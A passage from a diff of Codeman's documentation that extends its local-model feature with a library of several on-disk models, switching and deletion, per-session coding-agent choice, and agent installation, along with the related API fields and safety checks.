+  - `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. With `installed`, `cli` is the DEFAULT agent CLI, the one a client that names none starts: the agent of the installation while it can be started, else the first row of `harnesses` that can. `port`: the runtime's loopback port, once chosen.
   - `running`: the runtime Codeman started is alive right now. A runtime the person stopped is `running: false` with no `error`.
   - `loaded` (with `installed`): what the runtime reported when the job checked the loaded model: `context`, `memoryBytes`, `memoryGb`, `onGpu`.
-  - `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli`.
+  - `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli` or with any row of `harnesses` that offers `start-session`.
   - `developerTools`: `present`, `missing` (the Mac has no Xcode or Command Line Tools, so macOS will offer to install them the first time an agent runs `git` or `python3`) or `unknown`.
   - `runtime`: `{ version, installed, downloadBytes, downloadGb, unpackedGb }`. `downloadBytes` is `0` once the runtime is unpacked.
   - `folder`: the absolute folder everything of this feature is kept in.
-  - `actions[]`: exactly what the server accepts right now, out of `install`, `cancel`, `resume`, `start`, `stop`, `remove` and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs and nothing blocks a session).
+  - `library[]`: the models on this machine, the model in use first. Empty with `idle` (no runtime is there to ask). Each row: `id` (the name the runtime lists, `name:tag`), `label`, `context?` (the context it was checked with), `sizeBytes?` and `sizeGb?` (its size on disk as the runtime reports it, else as recorded when it was checked), `active` (it is the model in use), `verified` (Codeman checked it), `status` and `actions[]`. `status` is `ready`, `changed` (checked, and the runtime now reports another digest under the name), `missing` (checked, and the runtime no longer lists it) or `unverified` (the runtime lists it and Codeman never checked it: a model an earlier Remove kept, the model of a job that has not passed its check, or one another program pulled through the runtime's port). `actions` is what the server accepts for THAT row right now, out of `use` and `delete`; `delete` needs the running runtime, and a name that is not a plain `name:tag` is listed with no action.
+  - `store?`: `{ bytes, gb }`, what the model store takes on disk (the files of its blob folder, so shared layers count once and an interrupted download is included). Present in every state once it was measured; cached for about thirty seconds.
+  - `harnesses[]`: the agent CLIs a session on the model in use can be started with, the default one first, then by the catalogue's rank. The agent is chosen per session: a session is started with `mode` set to a row's `cli` and `customModel: { endpointId, modelId }`. Empty in every state but `installed`. Each row: `cli`, `cliLabel`, `default` (true on the row `install.cli` names), `status`, `installCommand?` (with `installable` and `installing`: the literal command `POST .../agent` runs), `slowFirstTurn?` (the first answer takes minutes), `readyMark?` (a literal without white space that the agent's composer draws once it takes input: what a script waits for on `GET /api/sessions/:id/wait-output` before it sends the first prompt; absent for an agent with no measured mark. A mark says the composer is there, not that nothing else is: DeepSeek Harness with dsh-TUI 0.19 opens a setup guide whose cursor is its `❯` too until a person has finished it once, so a script reads the pane after the mark), `error?` (`{ message, detail? }`: the last install of this agent through `POST .../agent` failed; kept in memory only) and `actions[]` (`start-session`, `install`). `status` is `ready` (it can be started, the answer the Run menu gets), `installable` (not on this machine, and `POST .../agent` installs it), `installing` (that install is running; the model stays as it is) or `setup-needed` (not startable, and one command does not make it so: DeepSeek Harness without a terminal profile, or a command that needs an administrator; set it up from the Run menu or a terminal).
+  - `actions[]`: exactly what the server accepts right now, out of `install` (with `installed`: add another model), `cancel`, `resume`, `start`, `stop`, `remove` (with `idle` only while `store` holds something), `use` and `delete-model` (only while a row of `library` offers them), `install-agent` (only while a row of `harnesses` offers `install`) and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs, nothing blocks a session and, when `harnesses` is known, at least one agent CLI can be started).
 
 Error codes (`install.error.code`), each with one next step:
 
@@ -1800,9 +1807,11 @@ Error codes (`install.error.code`), each with one next step:
 | `start`      | `runtime-stopped` (the runtime crashed three times in a row and is no longer restarted)                                                                                                                                                 |
 | `other-port` | `port-in-use`                                                                                                                                                                                                                           |
 | `next-model` | `model-not-found`, `does-not-fit`, `no-tool-call`                                                                                                                                                                                       |
-| `remove`     | `model-changed` (the model's digest is no longer the one stored at install time; a session on it is refused)                                                                                                                            |
+| `remove`     | `model-changed` (the model's digest is no longer the one stored when it was checked; a session on it is refused, and so is a switch to it)                                                                                              |
 
-Starting a session on the saved endpoint goes through the existing custom model launch (`POST /api/quick-start` with `customModel`, or `POST /api/sessions/:id/custom-model`). For the endpoint this feature manages both answer `OPERATION_FAILED` with one sentence while the runtime is not running, when the model's digest changed, or for a model other than the installed one.
+Two codes are only ever the reason of a refused session start, never on `install.error`: `runtime-not-running` (the person stopped the runtime) and `job-unfinished` (a job that changes the model in use is running or stopped: nothing is started until it ended `installed` again).
+
+Starting a session on the saved endpoint goes through the existing custom model launch (`POST /api/quick-start` with `customModel`, or `POST /api/sessions/:id/custom-model`). For the endpoint this feature manages both answer `OPERATION_FAILED` with one sentence while the runtime is not running, while a job that changes the model in use is running or stopped, when the model's digest changed, or for a model other than the one in use.
 
 Every computed size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. The installed memory is the exception named above: show `memClassGb`.
 

docs/architecture-invariants.md

@@ -714,17 +714,27 @@ Either way the actual launch (`runCustomModelEntry`) routes through `run()` itse
 
 **The coding agent** is installed by `runInstallCommand()` of `src/cli-install-runner.ts`, the runner extracted from `cli-registry-routes.ts` (whose route keeps its behaviour and re-exports `installEnv`/`npmGlobalPrefixWritable` for its tests). ⚠️ The job runs only `stockInstallCommand(id)`, read from the COMPILED `STOCK_CLIS`, never the registry merged with `clis.json` (the route's own command still comes from the merged registry, behind its `cliManagementEnabled` gate): this path has no such gate, so an override file must not be able to change what it runs. `HarnessFact.installCommand` is that same string, which is what the consent screen prints. ⚠️ Only for a harness row of the catalogue, only after the consent click, admin only, audited (`cli_install` with `via: 'local-model'`). ⚠️ ONE install slot per CLI id (`tryBeginCliInstall()`), shared by the route and the job. ⚠️ After the installer, successful or not, the resolver caches are forgotten (`forgetResolvedCli()`) and the binary is looked for again: a pre-install miss is negative-cached for up to five minutes, and "Start a session" would otherwise answer "not installed". Still missing is `harness-failed`; found is success whatever the exit code. The runner takes an abort signal that kills the installer's process GROUP.
 
+**The coding agent is chosen per session.** The launch check (`launchRefusalMessage()`) asks about the endpoint and the model, never about the agent, so any CLI with a custom model recipe could always be started on `local-ollama` from the Run menu. What the feature adds is the list: `install.harnesses` (`buildHarnessRows()`, pure) is every catalogue harness that is not gated, has a `HarnessFact`, works at the model's context and accepts its name, each `ready`, `installable`, `installing` or `setup-needed`. ⚠️ `install.cli` stays the DEFAULT agent for a client that names none (the 1.50.0 skill reads only that field): the agent of the installation while it can be started, else the first row that can, so it never names an agent that is gone while another is there. ⚠️ `start-session` is listed only while a row is `ready`, once the rows are known; rows that could not be built (the registry threw) are "unknown", never "none", and a session is still offered. ⚠️ A LAUNCHER (`discovery.launcherProfile`, DeepSeek Harness) is never `installable`: its stock command installs the launcher and leaves it with nothing to launch, and the profile it needs is third-party code behind the privileged grant of `POST /api/deepseek/install-profile`. The rule reads the entry's data, never its id, and such an agent is offered only once the Run menu can start it. ⚠️ `POST /api/local-model/agent` (`installAgent()`) is NOT a job and NOT an event of the reducer: a job would put a working model into `failed` on an `npm` error and refuse every session until it was cleared. It runs `installCodingAgent()`, the function the `agent` step runs (same slot, same compiled command, same audit line), in the background; the state file never hears of it, the outcome lives in memory (`agentInstall`, `agentFailures`), one installer at a time, and `shutdown()` aborts it. A harness row may carry `readyMark` (a literal the composer draws once it takes input, for a script's `wait-output`): only a MEASURED mark goes there, the registry's `composerReadyMark` stands in when the row has none, and Pi has none on purpose (its composer rules are painted before it takes Enter, measured on 1.5.2).
+
 **The connection** (`connect.ts`): one record `{ id: 'local-ollama', label: 'This Mac', baseUrl, authStyle: 'bearer', models: [<id as /v1/models lists it>], defaultModelId, defaultContextLength: <the chosen context> }`, validated by `CustomModelHostSchema` and written through `mutateCustomModelHosts()`, then `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, with the flag's previous value kept in the state file (a second connect must hand the FIRST value back, or Remove could never switch the flag off again). ⚠️ `defaultContextLength` is load-bearing: the runtime's model listing states no context, so this field is what reaches the coding agent as its limit. ⚠️ The id is reserved: `POST /api/model-endpoints` refuses it, and a record with it that this feature did not write is never overwritten (`endpoint-id-taken`). ⚠️ While the state file records the connection, the record is MANAGED (`isManagedLocalEndpoint()`): `PUT`/`DELETE /api/model-endpoints/local-ollama` are refused, discover answers the stored list without a request, and the sweep skips it, so a model somebody pulled through the port never becomes launchable and the URL never leaves the supervised port. A hand-made record with that id (no state) stays an ordinary endpoint. `local-model.json` is not a config-backup file while the endpoint store and the settings are, so a restore can take the record away under an installed model: `boot()` puts the RECORD back when it is gone (`ensureLocalEndpoint()`, never replacing one that is there) and leaves the settings flag as it finds it. ⚠️ The runtime's port has NO authentication, and its CORS allowlist always admits `localhost` origins: any local process or localhost page can pull, create or delete models there. That is the reason for the three rules above and for the digest.
 
 **The digest** `/api/tags` reported after the check is stored. ⚠️ Before a session starts on the managed endpoint (`LocalModelService.launchRefusalMessage()`, asked by BOTH launch paths in `session-routes.ts`: `POST /api/sessions/:id/custom-model` and the quick-start `customModel` branch, before anything is written or created) and at boot it is read again: a different digest, a model that is gone, a runtime Codeman did not start, or a model id other than the installed one refuses the launch with one sentence. The view shows what blocks a session as `error` while the state stays `installed`; it is found live and never stored. Boot recovery of an already running session (`_rebuildCustomModelEnv`) is not guarded: the pane exists and keeps its environment.
 
 **Remove** stops the child, undoes the connection FIRST (a refused write of the endpoint store or of the settings rejects before any file is deleted), restores the flag only when this feature switched it on AND no other endpoint is saved, then deletes the runtime and the private home and, when asked, the models (`removeLocalModelFiles()`, which refuses any path outside the root). ⚠️ While a live session uses the endpoint the answer is 409 `sessions-open` with the session names (`sessionNamesUsingEndpoint()`, read at the moment of the request). ⚠️ The coding agent stays: what its installer wrote is not ours to remove.
 
+**The library** (one model in use, several on disk). `LocalModelStateFile.library` lists every model that PASSED the check through Codeman: `{ id, label, context, digest, bytes?, cli?, verifiedAt? }`, no path. The service upserts the entry as a fact when `verify` passes (where it stores the digest); the reducer only carries the list, through every event but `remove`. An `installed` file an earlier build wrote has no list: `libraryOf()` then counts its one model, and an install or a switch from it writes that model into the list before the state's `model` member becomes the new job's. ⚠️ ONE model is in use: the endpoint record still lists exactly one model, the runtime still holds one (`OLLAMA_MAX_LOADED_MODELS=1`), and `launchRefusalMessage()` still starts only the state's model with its stored digest. Never widen the record to "every checked model": the port has no login, and two sessions on two models would make the runtime swap 20 GB on every request.
+
+⚠️ Three verbs, each a row of the tables and never a special case. **Add**: `install` is also listed for `installed` in `INSTALL_TRANSITIONS`; the job is the same five steps, and the earlier model stays (the `replacedModelId` rule, `replacedModelFor()`, never names a model of the library: only an unchecked or partial download is deleted as a leftover). **Switch**: the event `use` (`installed`, `paused`, `failed`) starts a job of `USE_JOB_STEPS` (`verify`, `connect`) for a library entry, carrying its stored digest in `model.digest`; `stepVerify` compares that digest BEFORE it loads anything and again after the check, and a different or missing one fails with `model-changed`. A switch has no `model` step, so the leftovers of the job it replaced are deleted at the start of `verify` (`dropReplacedModel()`). Its coding agent is the entry's own when that is installed now, else the state's (`recheckCliInstalled()`), else a 400: a job that stopped while it installed another agent leaves the state naming one that is not there. **Delete** (`deleteLibraryModel()`) moves no state, so it is not an event; whether a state allows it is the `delete-model` action of its `INSTALL_STATE_TABLE` row. It takes a model NAME (the request schema and the service both hold it to `LOCAL_MODEL_ID_PATTERN`), requires that name in the server's own listing (the library or the runtime's tags), goes through the runtime's `/api/delete` only (never a file delete, never a path), and trusts only the runtime's answer that the model is gone, never an empty listing. ⚠️ It refuses the model of the installation or of the current job (`model-active`), a running job, and a runtime that is down or does not answer (`runtime-not-running`).
+
+⚠️ `install` from `installed` and `use` are refused with 409 `sessions-open` while live sessions use the endpoint, like Stop: both change which model the runtime holds and often restart it for another context. ⚠️ While a job that started from `installed` is unfinished (`installing`, `paused`, `failed`) the launch check refuses every start with `job-unfinished` (a code only a refused start says, like `runtime-not-running`), because it wants the state `installed`; the view then offers `use` on the other checked models, which is the way back. A switch is never offered for the model of the stopped job itself: Resume goes on with that one. ⚠️ Both verbs undo a Stop (`undoStop()`, `runtime.enabled` back to true) once their job started: the job runs the runtime, and a model that is in use and running must also start with the server again.
+
+**The view's two listings.** `install.library` (`buildLibraryRows()`, pure) joins the state's entries with what the RUNNING runtime lists (`/api/tags`): `ready`, `changed` (another digest under the name), `missing` (no longer listed) for a checked model, `unverified` for anything else the runtime lists (a model an earlier Remove kept, the model of a job that has not passed its check, one another program pulled through the unauthenticated port), which can be deleted and never switched to. A name that is not a plain `name:tag` is listed with no action. `install.store` is `measureModelStore()`: the sizes of the regular files directly in `models/blobs`, nothing followed, nothing outside the root. ⚠️ Neither is asked for on the one-second poll: `tagsCache` (5 s) and `storeCache` (30 s) are refreshed in the background, only a figure that was never read is waited for (300 ms at most), a runtime that does not answer keeps the last list (or every checked model would read as `missing` for a moment), and every verb and finished step that changes the store throws both away (`forgetStore()`). ⚠️ In `idle` there is no runtime to ask, so the list is empty and only `store` says that an earlier Remove kept models; `remove` is listed there only while it holds something, and `DELETE /api/local-model { removeModel: true }` is what frees it. `Candidate.library` (`active`, `ready`) is added by the ROUTE (`markLibraryCandidates()`), never by `recommend()`, which stays pure and knows nothing of what is installed.
+
 **Developer tools**: `checkDeveloperTools()` runs ONLY `/usr/bin/xcode-select -p`, bounded, on darwin. ⚠️ Never `git`, `python3` or `xcrun` from the server: on a Mac without the tools each opens a system window. The view carries `developerTools`, and the window prints the one sentence when it is `missing`.
 
 **The endpoint store's writer** (`src/custom-model-hosts-writer.ts`): `mutateCustomModelHosts(fn)` is the shape of `mutateSettingsFile()`: one promise chain, a random temp name, a refusal (409) to write over a file that does not parse. ⚠️ EVERY writer of `custom-model-hosts.json` goes through it: the four endpoint routes, the sweep and the connect step (`test/custom-model-hosts-writer.test.ts` fails a `writeCustomModelHosts()` call anywhere else in `src/`). The routes used to read, change and write on their own through one shared temp name, so two creates sent together lost a record or failed, and a file that did not parse was read as `[]` and replaced by one record, with every other endpoint's API key gone. ⚠️ A route's check runs INSIDE the callback, and discover splices onto the record as it is after the probe, not the copy read before it.
 
-Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event), `test/local-model-install-service.test.ts`, `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`.
+Tests: `test/local-model-install-job.test.ts` (the tables and the reducer, every state with every event, the library rows), `test/local-model-install-service.test.ts` (the three library verbs, the agent install and the two caches included), `test/local-model-install-e2e.test.ts` (the real modules over the fake runtime: install A, add B, switch back, delete B), `test/local-model-state-store.test.ts`, `test/local-model-connect.test.ts`, `test/custom-model-hosts-writer.test.ts`, `test/cli-install-runner.test.ts`, `test/routes/local-model-routes.test.ts`, `test/routes/local-model-launch-guard.test.ts`, and the runtime's own `test/local-model-runtime.test.ts`, `test/local-model-ollama-client.test.ts`. The fake runtime is `test/fixtures/fake-ollama.ts`.
 
 ### Approvals Inbox
 

docs/custom-model-endpoints.md

@@ -578,6 +578,13 @@ automatically). Results:
 
 - **Claude, opencode, Pi, Grok, OMP** — verified: a real "hello world" reply
   came back through the endpoint.
+  Pi's model entry carries the endpoint's context length when one is known
+  (`contextWindow`, the full window, and `maxTokens`, a quarter of it and
+  8,192 at most). Without it Pi takes an unknown model for a 128,000-token
+  one (its footer reads `/128k`) and asks for 16,384 reply tokens, so on a
+  smaller window it never compacts before the server's real window is full.
+  Measured on pi 1.5.2: with both fields `pi --list-models` shows the window
+  and the request carries `max_tokens: 8192`.
 - **Codex** — the config is structurally correct, and against a llama-swap
   server that DOES answer `/v1/responses` (confirmed live: a plain,
   no-tool-call chat turn returned a real reply), the picture is more

docs/local-models.md

@@ -4,7 +4,9 @@ Codeman can set up a coding model that runs on the Mac the server runs on: no ac
 no API key, and the session's prompts and files go to a model on this Mac rather than a
 cloud provider (the coding agent itself may still check for updates). One button on the welcome screen opens a window that
 shows what fits this Mac, installs the choice and ends on a coding agent session that
-runs on it.
+runs on it. The same window then lists the models that are on this Mac with what each takes
+on disk, adds another one, switches between them and deletes one
+([The models on this Mac](#the-models-on-this-mac)).
 
 **Experimental.** The routes and their payloads may change in any release
 ([versioning-policy.md](versioning-policy.md), "Experimental local model routes"). Apple
@@ -103,7 +105,9 @@ for a row it does not know. Its answer for each memory size is then pinned in
 ## What an install does, in order
 
 The person picks a model, presses "Install on this Mac" and confirms the sizes once. The
-server then runs one job of five steps. The window polls `GET /api/local-model` once a
+server then runs one job of five steps. The same job adds a second model to an installed one
+("Add a model"): the runtime is there already, so it downloads the model alone, and the
+earlier model stays on disk. The window polls `GET /api/local-model` once a
 second; the job runs in the server, so the window can be closed.
 
 | Step      | What it does                                                                                                                                              |
@@ -206,6 +210,66 @@ This step does not need the `cliManagementEnabled` setting. That setting gates t
 CLI management surface; this path can only ever run one vetted command for one catalogue
 row.
 
+### Which coding agents, and what each was measured with
+
+The coding agent is chosen **per session**. An installed model lists every agent it can be
+run with (`install.harnesses` of the GET), and the window shows them as chips under "Start a
+session with": the agent the model was installed with is the default, and the choice is
+remembered on the device. The launch check asks about the endpoint and the model, never about
+the agent, so a session with one agent and a session with another run on the same model.
+
+| Agent            | First request (its fixed prompt)                                    | Installed from the window | What was seen, and where                                                                                                                    |
+| ---------------- | ------------------------------------------------------------------- | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
+| OpenCode         | about 8,100 tokens, 11 tools (v1.19.5; more with user-level skills) | yes                       | A tool round trip on a Mac with a real model (the catalogue's tested entry), and on a scripted endpoint for v1.19.5                         |
+| Claude Code      | about 36,000 tokens, so the first answer takes minutes              | yes                       | Shipped in 1.50.0; not measured again for this table                                                                                        |
+| Pi               | 2,096 tokens, 4 tools (v1.5.2)                                      | yes                       | A complete tool round trip against a real model: tool call, tool result, final answer, the file on disk                                     |
+| DeepSeek Harness | about 7,650 tokens, 25 tools (0.1.1-rc.2); 6,983, 27 tools (0.2.2-rc.1) | **no**                | A tool round trip on a scripted endpoint only, on both versions. Against a real model the launch and the model name reached the runtime, and no turn finished |
+
+How to read the last column: the runs of 2026-11-10 were made on **Linux**, through Codeman's
+own custom model launch, against Ollama 0.13.0 with a 1.7B model on a CPU ("a real model") or
+against a scripted endpoint that replays that runtime's stream of a tool call. A scripted run
+proves the agent's side of the protocol, not what a model does with its prompt. None of them
+ran on a Mac or on the pinned runtime. Every agent sent the `name:tag` model name unchanged.
+
+Three things follow from how the agents differ:
+
+- **Pi is told the model's window.** Without it Pi takes an unknown model for a
+  128,000-token one and never compacts before the real window is full. Codeman now writes the
+  endpoint's context length into the model list it gives Pi (the custom model feature as a
+  whole, not only this window). Two things remain: a custom model session gives Pi a home
+  directory of its own, so Pi fetches its two search tools again at every start (it needs the
+  network for that; `PI_OFFLINE=1` skips it), and Pi asks "Trust project
+  folder?" in every such session when a folder above the working directory holds agent
+  skills, because the answer is stored in the home it does not keep.
+- **DeepSeek Harness is a launcher.** `dsh` starts nothing by itself: a session needs a
+  terminal profile, which is third-party code with its own consent in the Run menu. Its
+  install command installs the launcher only, so this window never installs it. It is listed
+  as "Needs setup" until the Run menu can start it, and as a normal agent from then on. It is
+  the one agent of the four besides Claude Code that reports the end of a turn. Its custom
+  endpoint recipe itself was verified with a real model on a llama.cpp server
+  ([custom-model-endpoints.md](custom-model-endpoints.md)); what is missing is a finished turn
+  on this feature's runtime. On today's version (0.2.2-rc.1 with dsh-TUI 0.19.0) two more
+  things were seen: a setup guide opens in every session until a person has finished it once
+  (a person in a tab presses through it; a script must not, see the codeman skill), and its
+  transcript file was renamed, so Codeman's response viewer and `last-response` are empty for
+  a dsh session on that version until the reader learns the new name.
+- **OpenCode and DeepSeek Harness send a second, small request** beside the first prompt (a
+  title, a side question). The runtime answers one request at a time, so it queues.
+
+### Installing one more agent beside an installed model
+
+An agent that is not on the Mac has "Not installed" on its chip. Selecting it shows the
+literal install command, and the main button becomes "Install <agent>". That click is the
+consent; `POST /api/local-model/agent` then runs the same stock command under the same rules
+as the `agent` step above (catalogue row only, compiled command only, admin only, audited,
+one installer at a time).
+
+It is **not a job**. The state stays `installed` whatever the installer does: the model stays
+loaded, sessions are not refused, and a session with another agent can be started while it
+runs. A failed install shows the sentence and the installer's last lines under the chip, and
+leaves everything else as it was. The outcome is kept in memory only, so a restart of the
+server forgets a failure (the chip then simply says "Not installed" again).
+
 ### The connection
 
 Two writes outside the local model folder, both undone by Remove:
@@ -240,14 +304,17 @@ Switching the setting on also starts that five-minute sweep for every other save
 
 ## Starting a session
 
-"Start a session" starts the coding agent on the endpoint `local-ollama` through the
+"Start a session" starts the selected coding agent on the endpoint `local-ollama` through the
 existing custom model launch. Before a coding agent is STARTED on that endpoint the server
 checks, in this order:
 
+- no job that changes the model in use is running or stopped: until an install or a switch
+  ended, nothing is started ("The model on this Mac is being changed and is not ready");
 - the runtime child Codeman started is alive (whatever else answers on the port is not
   ours);
-- the digest the runtime reports for the installed model is the one stored at install time;
-- the model asked for is the one that was installed and checked.
+- the digest the runtime reports for the model in use is the one stored when it was checked;
+- the model asked for is the model in use. Another model that is on this Mac is not started
+  on the endpoint: switch to it in the window first.
 
 That check runs wherever a new agent process comes to be on the endpoint: a session created
 with the model, a model applied to a running session (which restarts its agent), the attach
@@ -266,29 +333,86 @@ The codeman skill ([`skills/codeman`](../skills/codeman/SKILL.md#claude-in-the-c
 lets an agent in a Codeman session hand work to this model, so Claude in the cloud plans and
 reviews while the model on this Mac does the bulk: summaries, classification, first drafts, and
 files that should not leave the machine. `local_model` reads `GET /api/local-model` and says what
-is installed or why nothing can run; `spawn_worker <name> local` starts the runtime when it was
-stopped (as Start does), then starts the installed coding agent on `local-ollama` through the same
+is installed or why nothing can run, with the coding agents the model can be run with and the
+models on the Mac; `spawn_worker <name> local` starts the runtime when it was
+stopped (as Start does), then starts the default coding agent (`install.cli`), or with
+`local:<agent>` (`local:pi`, `local:deepseek`) another one that is ready, on `local-ollama` through the same
 quick-start launch and the same checks as above; `sendmark` gives the worker a task and reads its
-answer back from a file it writes in its own folder. The skill never installs a model and never
+answer back from a file it writes in its own folder. The skill never installs a model or a coding agent and never
 answers a confirmation, the runtime still answers one request at a time, and while a worker it
 opened is live, Stop and Remove are refused until it is closed.
 
+## The models on this Mac
+
+The model store can hold several models. **One of them is the model in use**: the one the
+endpoint record `local-ollama` lists, the runtime is started for and a session can be
+started on. The runtime holds one model in memory at a time (`OLLAMA_MAX_LOADED_MODELS=1`),
+so this is what the Mac can really do, and it keeps every rule above: one record, one
+model, one stored digest per model.
+
+The installed screen lists what is on this Mac, the model in use first:
+
+| A row says    | It means                                                                                                                                                              |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| In use        | The model sessions start on                                                                                                                                           |
+| Ready         | Codeman downloaded and checked it. **Use** switches to it                                                                                                             |
+| Not checked   | The runtime lists it and Codeman never checked it: a model an earlier Remove kept, or one another program pulled through the runtime's port. It can only be deleted   |
+| Changed       | It was checked, and the runtime now reports another digest under its name. It is never started; delete it and install it again                                        |
+| Missing       | It was checked, and the runtime no longer lists it. **Delete** drops the entry                                                                                        |
+
+Each row shows the context the model was checked with and its size on disk, as the runtime
+reports it. Under the list is what all downloads take together: the size of the files in
+`local-model/models/blobs`, so layers two models share are counted once and an interrupted
+download is included. The window asks the runtime for the list at most every five seconds
+and measures the store at most every thirty, never on every poll.
+
+- **Add a model** opens the chooser. A model that is not on this Mac is installed like the
+  first one, with its sizes confirmed; when the job ends it is the model in use, and the
+  earlier model stays in the list. A row that is on this Mac already says so and is switched
+  to, without a download and without a confirm screen.
+- **Use** switches to a checked model. It is a job of two steps, `verify` and `connect`:
+  the runtime is restarted with the context the model was checked with, the model is loaded
+  and checked again (the tiny chat, the GPU, the tool probe), its digest must still be the
+  stored one (else the switch fails with `model-changed` before the model is loaded), and
+  the endpoint record is rewritten. The default coding agent becomes the one the model was
+  checked with when it is still installed, else the one of the installation, else any other
+  agent that is on the Mac and can run the model.
+- **Delete** removes one model through the runtime's own delete, after one question in the
+  row. The request carries the model's name, never a path, and the server deletes only a
+  name of its own listing. The model in use cannot be deleted: switch first, or Remove. It
+  needs the running runtime, so a stopped model shows no Delete until Start.
+
+Adding a model and switching are refused while a session uses the model ("Sessions are
+still using this model"), like Stop: their coding agents were started with the other model's
+name, and the runtime would swap models on every request.
+
+While a job that started from an installed model runs, or after it stopped (paused or
+failed), no session is started: the checks above want a finished installation, and the
+refusal says so (`job-unfinished`). The window
+then lists the checked models with **Use**, which is the way back to the earlier one. Going
+back deletes what the stopped job left of a model that never passed its check, the way a new
+install does; a checked model is never deleted that way.
+
 ## Stop, Start, Remove
 
 - **Stop** stops the runtime and keeps it from starting at the next boot. **Start** undoes
-  that.
+  that, and so does a switch to another model or the install of one: the job starts the
+  runtime, and the model it ends on is in use.
 - **Remove** stops the runtime, removes the endpoint record, switches the setting off again
   only when this feature switched it on and no other endpoint is saved, and deletes the
-  runtime and its private home. The downloaded model is deleted only when asked. The coding
-  agent stays. While a live session uses the model, Remove answers with the session names
-  instead.
+  runtime and its private home. The downloaded models (all of them) are deleted only when
+  asked. The coding agent stays. While a live session uses the model, Remove answers with
+  the session names instead.
+- **Models a Remove kept** are not lost space: with nothing installed the window says how
+  much they still take and offers "Delete them", and after a new install they show in the
+  list as "Not checked", each with its own Delete.
 
 ## Where everything is
 
 All under the data directory (`~/.codeman`, or the instance's own):
 
 ```
-local-model.json                           the state file (mode 0600)
+local-model.json                           the state file (mode 0600), with the list of checked models
 local-model/
   runtime/ollama-0.40.15.tgz.partial       the runtime archive while it downloads
   runtime/ollama-0.40.15/                  the unpacked runtime (about 579 MB)
@@ -313,9 +437,12 @@ in App Settings.
 | ------------ | ------------------------------------------------------------- | ---------------- | -------------------------------------- |
 | `idle`       | stays idle                                                    | refused          | install                                |
 | `installing` | becomes `paused` at the same step                             | becomes `paused` | cancel                                 |
-| `paused`     | stays paused                                                  | refused          | resume, install, remove                |
-| `failed`     | stays failed, same error                                      | refused          | resume, install, remove                |
-| `installed`  | stays installed; the runtime is started unless it was stopped | refused          | start a session, stop or start, remove |
+| `paused`     | stays paused                                                  | refused          | resume, install, use, delete a model, remove |
+| `failed`     | stays failed, same error                                      | refused          | resume, install, use, delete a model, remove |
+| `installed`  | stays installed; the runtime is started unless it was stopped | refused          | start a session, stop or start, install (add a model), use, delete a model, remove |
+
+`use` and "delete a model" are listed only while a row of the list offers them, and in
+`idle` "remove" is offered only while the model store still holds something.
 
 One job at a time. A job a server restart interrupted comes back paused and never continues
 without a click. Cancel interrupts the step in flight (the download, the pull, the request,
@@ -357,6 +484,12 @@ or `python3`.
   on a Mac. "Recommended" appears only for the pair we ran, on the Mac we ran it on.
 - **The model stays in memory for ten minutes** after the last request, then the runtime
   unloads it.
+- **One model runs at a time.** Several can be on disk; the runtime holds one, and a switch
+  restarts it and loads the other model (seconds to a minute). Close the sessions on the
+  model first: the window refuses the switch while one is open.
+- **The disk figures are the runtime's.** A row's size is what the runtime reports for the
+  model, and the total is the size of its blob files. Neither was compared with Finder on a
+  Mac yet.
 
 ## Keeping the catalogue current
 

docs/wiki/Codeman-Skill.md

@@ -138,6 +138,8 @@ from your side. See [Agent CLIs](Agent-CLIs) for the run modes.
 Claude Code lead can hand work to it: Claude in the cloud plans and reviews, the local model
 takes summaries, first drafts and files that should stay on the machine. It answers one
 request at a time and is slower than a cloud model, and the skill never installs one for you.
+You can name the coding agent the worker runs with ("a local worker with Pi"), as long as
+that agent is installed; the walkthrough is in [Local Models](Local-Models#cloud-and-local-together).
 
 With Claude Code workers, where the installed Claude Code supports it, the lead can also
 message a worker directly instead of typing into its terminal.

docs/wiki/Custom-Model-Endpoints.md

@@ -207,7 +207,9 @@ missing entry is the more current answer.
 ## A model that runs on this Mac
 
 If the Codeman server runs on a Mac with Apple silicon, you do not need a server of your
-own: Codeman can set one model up for you on that Mac. This is experimental.
+own: Codeman can set one model up for you on that Mac. This is experimental. The walkthrough,
+with the coding agents and the cloud plus local setup, is on its own page:
+[Local Models](Local-Models).
 
 1. Press **Run a local model** on the welcome screen (or open App Settings > Models > Model
    on this Mac).
@@ -234,6 +236,15 @@ Good to know:
   but it is changed and removed in the local model window, not here.
 - Codeman starts the runtime with the server and stops it with it. **Stop** keeps it from
   starting next time.
+- More than one model can be on the Mac, and one of them runs at a time. Once a model is
+  installed the window lists the models with what each takes on disk: **Add a model**
+  downloads another one, **Use** switches to a model that is already there (nothing is
+  downloaded; close the sessions on the model first), and **Delete** removes one, after one
+  question. The model in use cannot be deleted: switch first, or use **Remove**.
+- The coding agent is chosen per session. The window lists every agent the model can be run
+  with (OpenCode, Claude Code, Pi, DeepSeek Harness) under **Start a session with**, and
+  installs one that is missing after showing you the command. DeepSeek Harness is set up
+  from the Run menu first.
 - **Remove** deletes the runtime and the endpoint, and the model too if you tick that. The
   coding agent stays installed.
 - If the model on disk is no longer the one that was installed, Codeman refuses to start a

docs/wiki/Home.md

@@ -66,6 +66,7 @@ codeman web    # then open http://localhost:3000
 | [Tile Grid](Tile-Grid)                     | How do I watch and drive several sessions side by side?    |
 | [Agent CLIs](Agent-CLIs)                   | Which agent should this session run, and how do I set it up? |
 | [Custom Model Endpoints](Custom-Model-Endpoints) | How do I point a session at my own OpenAI-compatible endpoint? |
+| [Local Models](Local-Models) | How do I run a coding model on my own Mac, and use it next to a cloud model? |
